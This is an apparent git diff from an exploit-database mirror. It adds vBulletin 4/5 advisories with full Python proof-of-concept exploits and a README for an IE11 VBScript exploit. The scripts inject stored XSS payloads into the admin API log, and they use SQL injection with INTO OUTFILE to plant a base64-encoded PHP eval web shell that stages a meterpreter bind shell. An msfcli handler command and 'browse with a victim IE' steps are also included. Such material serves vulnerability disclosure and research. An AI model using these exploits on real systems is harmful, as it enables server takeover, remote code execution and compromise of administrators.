cwe : 79
|
||||||
|
|
||||||
|
vendor : vBulletin Solutions
|
||||||
|
product : vBulletin 4
|
||||||
|
versions affected : latest 4.x and 5.x (to date); verified <= 4.2.2 ; <= 5.0.x
|
||||||
|
* vBulletin 5.0.5 (verified)
|
||||||
|
* vBulletin 4.2.2 (verified)
|
||||||
|
* vBulletin 4.2.1 (verified)
|
||||||
|
* vBulletin 4.2.0 PL2 (verified)
|
||||||
|
|
||||||
|
exploitability :
|
||||||
|
* remotely exploitable
|
||||||
|
* requires authentication (apikey)
|
||||||
|
* requires non-default features to be enabled (API interface, API-Logging)
|
||||||
|
* requires user interaction to trigger exploit (admincp - admin views logs)
|
||||||
|
|
||||||
|
patch availability (to date) : None
|
||||||
|
|
||||||
|
|
||||||
|
Abstract
|
||||||
|
---------
|
||||||
|
|
||||||
|
vBulletin 4/5 does not properly sanitize client provided xmlrpc attributes (e.g. client name)
|
||||||
|
allowing the remote xmlrpc client to inject code into the xmlrpc API logging page.
|
||||||
|
Code is executed once an admin visits the API log page and clicks on the API clients name.
|
||||||
|
|
||||||
|
risk: rather low - due to the fact that you the api key is required
|
||||||
|
you can probably use CVE-2014-2023 to obtain the api key
|
||||||
|
|
||||||
|
|
||||||
|
Details
|
||||||
|
--------
|
||||||
|
|
||||||
|
vulnerable component:
|
||||||
|
./admincp/apilog.php?do=viewclient
|
||||||
|
apilog.php does not sanitize xmlrpc client provided data before passing it to
|
||||||
|
print_label_row to generate the output page.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC)
|
||||||
|
----------------------
|
||||||
|
|
||||||
|
see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021
|
||||||
|
|
||||||
|
|
||||||
|
1) prerequisites
|
||||||
|
1.1) enable API, generate API-key
|
||||||
|
logon to AdminCP
|
||||||
|
goto "vBulletin API"->"API-Key" and enable the API interface, generate key
|
||||||
|
goto "vBulletin API"->"API-Log" and enable all API logging
|
||||||
|
2) run PoC
|
||||||
|
edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
|
||||||
|
run PoC, wait for SUCCESS! message
|
||||||
|
3) trigger exploit
|
||||||
|
logon to AdminCP
|
||||||
|
goto "vBulletin API"->"API-Log" and hit "view"
|
||||||
|
in search results click on "client name"
|
||||||
|
the injected msgbox pops up
|
||||||
|
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
--------
|
||||||
|
|
||||||
|
2014-01-14: initial vendor contact - no reply
|
||||||
|
2014-01-24: vendor contact - no reply
|
||||||
|
2014-10-13: public disclosure
|
||||||
|
|
||||||
|
Contact
|
||||||
|
--------
|
||||||
|
|
||||||
|
tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021
|
||||||
|
|
||||||
|
|
||||||
|
(0x721427D8)
|
||||||
|
|
||||||
|
|
||||||
|
- - -
|
||||||
|
|
||||||
|
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
'''
|
||||||
|
@author: tintinweb 0x721427D8
|
||||||
|
'''
|
||||||
|
import urllib2, cookielib, urllib, json, hashlib
|
||||||
|
|
||||||
|
class Exploit(object):
|
||||||
|
|
||||||
|
baseurl = None
|
||||||
|
cookies = None
|
||||||
|
|
||||||
|
def __init__(self,baseurl,params, debuglevel=1):
|
||||||
|
self.cookies = cookielib.LWPCookieJar()
|
||||||
|
handlers = [
|
||||||
|
urllib2.HTTPHandler(debuglevel=debuglevel),
|
||||||
|
urllib2.HTTPSHandler(debuglevel=debuglevel),
|
||||||
|
urllib2.HTTPCookieProcessor(self.cookies)
|
||||||
|
]
|
||||||
|
self.browser = urllib2.build_opener(*handlers)
|
||||||
|
self.baseurl=baseurl
|
||||||
|
self.params = params
|
||||||
|
|
||||||
|
def call(self,path="",data={}):
|
||||||
|
assert(isinstance(data,dict))
|
||||||
|
data = urllib.urlencode(data)
|
||||||
|
|
||||||
|
req = urllib2.Request("%s%s"%(self.baseurl,path),data)
|
||||||
|
req.add_header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
|
||||||
|
return self.browser.open(req)
|
||||||
|
|
||||||
|
def call_json(self,path=None,data={}):
|
||||||
|
try:
|
||||||
|
x=self.call(path,data).read()
|
||||||
|
print "raw_response", x
|
||||||
|
resp = json.loads(x)
|
||||||
|
except urllib2.HTTPError, he:
|
||||||
|
resp = he.read()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def vb_init_api(self):
|
||||||
|
params = {'api_m':'api_init'}
|
||||||
|
params.update(self.params)
|
||||||
|
data = self.call_json("?%s"%(urllib.urlencode(params)))
|
||||||
|
self.session = data
|
||||||
|
return data
|
||||||
|
|
||||||
|
def vb_call(self, params):
|
||||||
|
api_sig = self._vb_build_api_sig(params)
|
||||||
|
req_params = self._vb_build_regstring(api_sig)
|
||||||
|
params.update(req_params)
|
||||||
|
data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
return data
|
||||||
|
if 'errormessage' in data['response'].keys():
|
||||||
|
raise Exception(data)
|
||||||
|
return data
|
||||||
|
|
||||||
|
def _ksort(self, d):
|
||||||
|
ret = []
|
||||||
|
for key, value in [(k,d[k]) for k in sorted(d.keys())]:
|
||||||
|
ret.append( "%s=%s"%(key,value))
|
||||||
|
return "&".join(ret)
|
||||||
|
|
||||||
|
def _ksort_urlencode(self, d):
|
||||||
|
ret = []
|
||||||
|
for key, value in [(k,d[k]) for k in sorted(d.keys())]:
|
||||||
|
ret.append( urllib.urlencode({key:value}))
|
||||||
|
return "&".join(ret)
|
||||||
|
|
||||||
|
def _vb_build_api_sig(self, params):
|
||||||
|
apikey = self.params['apikey']
|
||||||
|
login_string = self._ksort_urlencode(params)
|
||||||
|
access_token = str(self.session['apiaccesstoken'])
|
||||||
|
client_id = str(self.session['apiclientid'])
|
||||||
|
secret = str(self.session['secret'])
|
||||||
|
return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
|
||||||
|
|
||||||
|
def _vb_build_regstring(self, api_sig):
|
||||||
|
params = {
|
||||||
|
'api_c':self.session['apiclientid'],
|
||||||
|
'api_s':self.session['apiaccesstoken'],
|
||||||
|
'api_sig':api_sig,
|
||||||
|
'api_v':self.session['apiversion'],
|
||||||
|
}
|
||||||
|
return params
|
||||||
|
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
TARGET = "http://localhost:8008/sectest/vbulletin_5/api.php"
|
||||||
|
APIKEY = "G4YvWVhp"
|
||||||
|
DEBUGLEVEL = 0 # 1 to enable request tracking
|
||||||
|
|
||||||
|
print "vBulletin 5.x / 4.x - XSS in API"
|
||||||
|
### 1. XSS
|
||||||
|
'''
|
||||||
|
vbulletin: admincp => settings: options => vbulletin API and Mobile Application Options
|
||||||
|
* enable vbulletin API = yes
|
||||||
|
* enable API log = yes
|
||||||
|
|
||||||
|
xss in:
|
||||||
|
1) http://xxxx/vb/admincp/apistats.php?do=client
|
||||||
|
2) click on hex<video><source/**/onerror='alert(1)'>hex
|
||||||
|
2.1) e.g. http://xxxx/vb/admincp/apilog.php?do=viewclient&apiclientid=1
|
||||||
|
|
||||||
|
'''
|
||||||
|
params = {'clientname':"hex<video><source/**/onerror='alert(/clientname_1/)'>hex1",
|
||||||
|
'clientversion':"hex<video><source/**/onerror='alert(2)'>hex2",
|
||||||
|
'platformname':"hex<video><source/**/onerror='alert(3)'>hex3",
|
||||||
|
'platformversion':"hex<video><source/**/onerror='alert(4)'>hex4",
|
||||||
|
'uniqueid':"hex<video><source/**/onerror='alert(5)'>hex5",
|
||||||
|
'apikey':APIKEY}
|
||||||
|
|
||||||
|
print "[ 1 ] - xss - inject alert() to admincp"
|
||||||
|
x = Exploit(baseurl=TARGET,params=params,debuglevel=DEBUGLEVEL)
|
||||||
|
vars = x.vb_init_api()
|
||||||
|
print vars
|
||||||
|
|
||||||
|
"""
|
||||||
|
$calls = array(
|
||||||
|
'methods' => array(
|
||||||
|
'login_login', 'api_init'
|
||||||
|
),
|
||||||
|
'login_login' => array(
|
||||||
|
'POST' => array(
|
||||||
|
'vb_login_username' => 'admin',
|
||||||
|
'vb_login_password' => 'password',
|
||||||
|
),
|
||||||
|
),
|
||||||
|
'api_init' => array(
|
||||||
|
'sessionhash' => '{session.dbsessionhash}'
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
"""
|
||||||
|
print "[*] GOT SESSIONHASH:",vars.get('sessionhash','<no-sessiohash>')
|
||||||
|
|
||||||
|
'''
|
||||||
|
calls = {'methods':['api_init'],
|
||||||
|
'api_init':{
|
||||||
|
'sessionhash':vars['sessionhash']
|
||||||
|
}}
|
||||||
|
'''
|
||||||
|
# just a dummy call
|
||||||
|
x.vb_call(params={'api_m':'api_forumlist',
|
||||||
|
'type':'t',
|
||||||
|
'x':"1"})
|
||||||
|
print "[ *] SUCCESS! - now make an admin visit %s/admincp/apilog.php?do=viewclient&apiclientid=%s to trigger the XSS :)"%("/".join(TARGET.split("/")[:-1]),vars['apiclientid'])
|
||||||
|
print "-- quit --"
|
||||||
221
platforms/php/webapps/40115.py
Executable file
221
platforms/php/webapps/40115.py
Executable file
|
|
@ -0,0 +1,221 @@
|
||||||
|
CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API (post-auth)
|
||||||
|
==============================================================================
|
||||||
|
|
||||||
|
Overview
|
||||||
|
--------
|
||||||
|
|
||||||
|
date : 10/12/2014
|
||||||
|
cvss : 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) base
|
||||||
|
cwe : 89
|
||||||
|
|
||||||
|
vendor : vBulletin Solutions
|
||||||
|
product : vBulletin 4
|
||||||
|
versions affected : latest 4.x (to date); verified <= 4.2.2
|
||||||
|
* vBulletin 4.2.2 (verified)
|
||||||
|
* vBulletin 4.2.1 (verified)
|
||||||
|
* vBulletin 4.2.0 PL2 (verified)
|
||||||
|
|
||||||
|
exploitability :
|
||||||
|
* remotely exploitable
|
||||||
|
* requires authentication (apikey)
|
||||||
|
|
||||||
|
patch availability (to date) : None
|
||||||
|
|
||||||
|
Abstract
|
||||||
|
---------
|
||||||
|
|
||||||
|
vBulletin 4 does not properly sanitize parameters to breadcrumbs_create allowing
|
||||||
|
an attacker to inject arbitrary SQL commands (SELECT).
|
||||||
|
|
||||||
|
risk: rather low - due to the fact that you the api key is required
|
||||||
|
you can probably use CVE-2014-2023 to obtain the api key
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Details
|
||||||
|
--------
|
||||||
|
|
||||||
|
vulnerable component:
|
||||||
|
./includes/api/4/breadcrumbs_create.php
|
||||||
|
vulnerable argument:
|
||||||
|
conceptid
|
||||||
|
|
||||||
|
which is sanitized as TYPE_STRING which does not prevent SQL injections.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC)
|
||||||
|
----------------------
|
||||||
|
|
||||||
|
see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
|
||||||
|
|
||||||
|
|
||||||
|
1) prerequisites
|
||||||
|
1.1) enable API, generate API-key
|
||||||
|
logon to AdminCP
|
||||||
|
goto "vBulletin API"->"API-Key" and enable the API interface, generate key
|
||||||
|
2) run PoC
|
||||||
|
edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
|
||||||
|
provide WWW_DIR which is the place to write the php_shell to (mysql must have permissions for that folder)
|
||||||
|
Note: meterpreter_bind_tcp is not provided
|
||||||
|
run PoC, wait for SUCCESS! message
|
||||||
|
Note: poc will trigger meterpreter shell
|
||||||
|
|
||||||
|
meterpreter PoC scenario requires the mysql user to have write permissions
|
||||||
|
which may not be the case in some default installations.
|
||||||
|
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
--------
|
||||||
|
|
||||||
|
2014-01-14: initial vendor contact, no response
|
||||||
|
2014-02-24: vendor contact, no response
|
||||||
|
2014-10-13: public disclosure
|
||||||
|
|
||||||
|
Contact
|
||||||
|
--------
|
||||||
|
tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
|
||||||
|
|
||||||
|
|
||||||
|
(0x721427D8)
|
||||||
|
|
||||||
|
- - -
|
||||||
|
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
'''
|
||||||
|
@author: tintinweb 0x721427D8
|
||||||
|
'''
|
||||||
|
import urllib2, cookielib, urllib, json, hashlib
|
||||||
|
|
||||||
|
class Exploit(object):
|
||||||
|
|
||||||
|
baseurl = None
|
||||||
|
cookies = None
|
||||||
|
|
||||||
|
def __init__(self,baseurl,params, debuglevel=1):
|
||||||
|
self.cookies = cookielib.LWPCookieJar()
|
||||||
|
handlers = [
|
||||||
|
urllib2.HTTPHandler(debuglevel=debuglevel),
|
||||||
|
urllib2.HTTPSHandler(debuglevel=debuglevel),
|
||||||
|
urllib2.HTTPCookieProcessor(self.cookies)
|
||||||
|
]
|
||||||
|
self.browser = urllib2.build_opener(*handlers)
|
||||||
|
self.baseurl=baseurl
|
||||||
|
self.params = params
|
||||||
|
|
||||||
|
def call(self,path="",data={}):
|
||||||
|
assert(isinstance(data,dict))
|
||||||
|
data = urllib.urlencode(data)
|
||||||
|
|
||||||
|
req = urllib2.Request("%s%s"%(self.baseurl,path),data)
|
||||||
|
req.add_header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
|
||||||
|
return self.browser.open(req)
|
||||||
|
|
||||||
|
def call_json(self,path=None,data={}):
|
||||||
|
try:
|
||||||
|
x=self.call(path,data).read()
|
||||||
|
print "raw_response", x
|
||||||
|
resp = json.loads(x)
|
||||||
|
except urllib2.HTTPError, he:
|
||||||
|
resp = he.read()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def vb_init_api(self):
|
||||||
|
params = {'api_m':'api_init'}
|
||||||
|
params.update(self.params)
|
||||||
|
data = self.call_json("?%s"%(urllib.urlencode(params)))
|
||||||
|
self.session = data
|
||||||
|
return data
|
||||||
|
|
||||||
|
def vb_call(self, params):
|
||||||
|
api_sig = self._vb_build_api_sig(params)
|
||||||
|
req_params = self._vb_build_regstring(api_sig)
|
||||||
|
params.update(req_params)
|
||||||
|
data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
return data
|
||||||
|
if 'errormessage' in data['response'].keys():
|
||||||
|
raise Exception(data)
|
||||||
|
return data
|
||||||
|
|
||||||
|
def _ksort(self, d):
|
||||||
|
ret = []
|
||||||
|
for key, value in [(k,d[k]) for k in sorted(d.keys())]:
|
||||||
|
ret.append( "%s=%s"%(key,value))
|
||||||
|
return "&".join(ret)
|
||||||
|
|
||||||
|
def _ksort_urlencode(self, d):
|
||||||
|
ret = []
|
||||||
|
for key, value in [(k,d[k]) for k in sorted(d.keys())]:
|
||||||
|
ret.append( urllib.urlencode({key:value}))
|
||||||
|
return "&".join(ret)
|
||||||
|
|
||||||
|
def _vb_build_api_sig(self, params):
|
||||||
|
apikey = self.params['apikey']
|
||||||
|
login_string = self._ksort_urlencode(params)
|
||||||
|
access_token = str(self.session['apiaccesstoken'])
|
||||||
|
client_id = str(self.session['apiclientid'])
|
||||||
|
secret = str(self.session['secret'])
|
||||||
|
return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
|
||||||
|
|
||||||
|
def _vb_build_regstring(self, api_sig):
|
||||||
|
params = {
|
||||||
|
'api_c':self.session['apiclientid'],
|
||||||
|
'api_s':self.session['apiaccesstoken'],
|
||||||
|
'api_sig':api_sig,
|
||||||
|
'api_v':self.session['apiversion'],
|
||||||
|
}
|
||||||
|
return params
|
||||||
|
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
TARGET = "http://192.168.220.131/vbb4/api.php"
|
||||||
|
APIKEY = "4FAVcRDc"
|
||||||
|
REMOTE_SHELL_PATH = "/var/www/myShell.php"
|
||||||
|
TRIGGER_URL = "http://192.168.220.131/myShell.php"
|
||||||
|
DEBUGLEVEL = 0 # 1 to enable request tracking
|
||||||
|
|
||||||
|
|
||||||
|
### 2. sqli - simple - write outfile
|
||||||
|
print "[ 2 ] - sqli - inject 'into outfile' to create file xxxxx.php"
|
||||||
|
params = {'clientname':'fancy_exploit_client',
|
||||||
|
'clientversion':'1.0',
|
||||||
|
'platformname':'exploit',
|
||||||
|
'platformversion':'1.5',
|
||||||
|
'uniqueid':'1234',
|
||||||
|
'apikey':APIKEY}
|
||||||
|
x = Exploit(baseurl=TARGET,params=params)
|
||||||
|
|
||||||
|
vars = x.vb_init_api()
|
||||||
|
print vars
|
||||||
|
'''
|
||||||
|
x.vb_call(params={'api_m':'breadcrumbs_create',
|
||||||
|
'type':'t',
|
||||||
|
#'conceptid':"1 union select 1 into OUTFILE '%s'"%REMOTE_SHELL_PATH,
|
||||||
|
'conceptid':"1 union select 1 into OUTFILE '%s'"%(REMOTE_SHELL_PATH)
|
||||||
|
})
|
||||||
|
|
||||||
|
print "[ *] SUCCESS! - created file %s"%TRIGGER_URL
|
||||||
|
'''
|
||||||
|
### 3. sqli - put meterpreter shell and trigger it
|
||||||
|
print "[ 3 ] - sqli - meterpreter shell + trigger"
|
||||||
|
with open("./meterpreter_bind_tcp") as f:
|
||||||
|
shell = f.read()
|
||||||
|
|
||||||
|
shell = shell.replace("<?php","").replace("?>","") #cleanup tags
|
||||||
|
shell = shell.encode("base64").replace("\n","") #encode payload
|
||||||
|
shell = "<?php eval(base64_decode('%s')); ?>"%shell # add decoderstub
|
||||||
|
shell = "0x"+shell.encode("hex") # for mysql outfile
|
||||||
|
|
||||||
|
|
||||||
|
x.vb_call(params={'api_m':'breadcrumbs_create',
|
||||||
|
'type':'t',
|
||||||
|
'conceptid':"1 union select %s into OUTFILE '%s'"%(shell,REMOTE_SHELL_PATH)})
|
||||||
|
print "[ *] SUCCESS! - triggering shell .. (script should not exit)"
|
||||||
|
print "[ ] exploit: #> msfcli multi/handler PAYLOAD=php/meterpreter/bind_tcp LPORT=4444 RHOST=<TARGET_IP> E"
|
||||||
|
print "[ *] shell active ... waiting for it to die ..."
|
||||||
|
print urllib2.urlopen(TRIGGER_URL)
|
||||||
|
print "[ ] shell died!"
|
||||||
|
print "-- quit --"
|
||||||
17
platforms/windows/local/40118.txt
Executable file
17
platforms/windows/local/40118.txt
Executable file
|
|
@ -0,0 +1,17 @@
|
||||||
|
Source: https://github.com/theori-io/cve-2016-0189
|
||||||
|
|
||||||
|
# CVE-2016-0189
|
||||||
|
Proof-of-Concept exploit for CVE-2016-0189 (VBScript Memory Corruption in IE11)
|
||||||
|
|
||||||
|
Tested on Windows 10 IE11.
|
||||||
|
|
||||||
|
### Write-up
|
||||||
|
http://theori.io/research/cve-2016-0189
|
||||||
|
|
||||||
|
### To run
|
||||||
|
1. Download `support/*.dll` (or compile \*.cpp for yourself) and `exploit/*.html` to a directory.
|
||||||
|
2. Serve the directory using a webserver (or python's simple HTTP server).
|
||||||
|
3. Browse with a victim IE to `vbscript_bypass_pm.html`.
|
||||||
|
4. (Re-fresh or re-open in case it doesn't work; It's not 100% reliable.)
|
||||||
|
|
||||||
|
EDB-Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40118.zip
|
||||||
Loading…
Add table
Reference in a new issue